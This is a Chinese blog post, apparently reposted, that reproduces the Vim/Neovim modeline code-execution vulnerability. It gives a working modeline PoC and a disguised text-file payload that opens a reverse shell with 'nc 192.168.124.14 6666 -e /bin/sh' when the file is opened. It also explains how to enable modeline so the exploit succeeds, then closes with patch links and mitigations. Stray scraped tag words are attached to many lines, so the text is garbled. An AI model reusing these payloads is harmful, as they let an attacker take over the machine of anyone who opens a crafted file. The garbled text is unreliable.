丟給你一個txt並同時獲取你shell

丟給你一個txt並同時獲取你shell

0x00:回顧git

文本編輯器Vim/Neovim被曝任意代碼執行漏洞github

    聽聞不少人知道這個漏洞,可是有一部分人能復現成功,一部分人復現不出來。這裏我就我本身的復現經歷給你們演示一下。shell

git clone https://github.com/numirias/security.gitvim

0x01:復現編輯器

 一、kali復現插件

    桌面新創建一個poc.txt放入如下代碼,並用vim執行。blog

  代碼:rem

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="get

效果圖:it

 

成功執行

    反彈shell腳本

    新創建一個shell.txt放入如下代碼,Ip跟端口改爲你本身的,並用vim執行。

    代碼:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 192.168.124.14 6666 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

 

執行後報錯:

 

 

提示:處理模型行時檢測到錯誤!!

處理方式:

 

 

 

在50行這裏添加一個「set modeline」 而後esc保存退出,而後執行

source ~/.vimrc讓它生效。

本地開啓監聽

 

kali用vim執行txt

 

本機獲得shell

 

0x02:防範

  • Vim補丁8.1.1365 

    https://github.com/vim/vim/commit/5357552

  • Neovim補丁(在v0.3.6中發佈)

    https://github.com/neovim/neovim/pull/10082

    https://github.com/neovim/neovim/releases/tag/v0.3.6

 

    除了修補以外,建議在vimrc(set nomodeline)中禁用model,使用securemodelines 插件,或者禁用modelineexpr(由於補丁8.1.1366,僅限Vim)以禁用model中的表達式。

聲明:本文章轉自 公衆號:luomiweixiong 若有侵權聯繫博主刪除

相關文章
相關標籤/搜索